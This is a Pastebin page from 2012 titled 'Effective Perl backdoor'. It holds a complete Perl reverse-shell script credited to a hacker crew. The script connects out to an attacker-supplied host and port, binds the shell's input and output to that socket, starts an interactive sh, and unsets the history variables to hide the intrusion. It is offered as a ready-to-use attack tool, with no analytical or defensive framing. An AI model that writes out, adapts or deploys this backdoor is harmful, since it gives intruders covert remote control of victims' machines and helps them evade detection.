Advertisement
i-Hmx

Effective Perl backdoor

Feb 20th, 2012
284
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.94 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3. $system    = '/bin/sh';
  4. $ARGC=@ARGV;
  5. print "| Sec4Ever Backdoor , CodeD By HaCKeR-MaN |\n\n";
  6. if ($ARGC!=2) {
  7.   print "Usage: $0 [Host] [Port] \n\n";
  8.   die "Ex: $0 127.0.0.1 1337 \n";
  9. }
  10. use Socket;
  11. use FileHandle;
  12. socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
  13. connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
  14. print "[*] Resolving HostName\n";
  15. print "[*] Connecting... $ARGV[0] \n";
  16. print "[*] Generating shell access \n";
  17. print "[*] Connected to $ARGV[0] \n";
  18. SOCKET->autoflush();
  19. open(STDIN, ">&SOCKET");
  20. open(STDOUT,">&SOCKET");
  21. open(STDERR,">&SOCKET");
  22. print "\n| Sec4Ever Backdoor , CodeD By HaCKeR-MaN |\n\n";
  23. print "| - - - - - Access Generated :) - - - - - |\n\n";
  24. system("unset HISTFILE;unset SAVEHIST ;id");
  25. system 'export TERM=xterm;exec sh -i';
  26. system($system);
  27. #EOF :p
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement